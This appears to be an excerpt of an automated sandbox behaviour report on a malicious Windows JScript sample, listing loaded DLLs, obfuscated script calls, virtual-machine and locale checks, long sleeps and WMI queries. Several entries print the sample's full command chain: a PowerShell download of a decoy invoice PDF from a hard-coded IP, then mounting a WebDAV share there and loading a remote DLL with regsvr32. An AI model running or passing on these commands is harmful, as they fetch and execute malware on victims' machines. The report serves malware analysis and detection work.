Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9497.js.csv");ITextStream.WriteLine(" entry:7826 f:jxina");ITextStream.WriteLine(" exec:2 f:jxina");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4749			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5113			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7740	Thread sleep count: 4749 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7740	Thread sleep count: 5113 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7800	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7816	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8040	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2800	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000002.1686286548.0000016BAF2E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8b}\
Source: net.exe, 00000006.00000002.1787079910.000002A301079000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2974358639.0000019B9962B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2975741799.0000019B9EA58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000006.00000002.1787079910.000002A301079000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWK"4
Source: net.exe, 00000006.00000002.1787079910.000002A301018000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
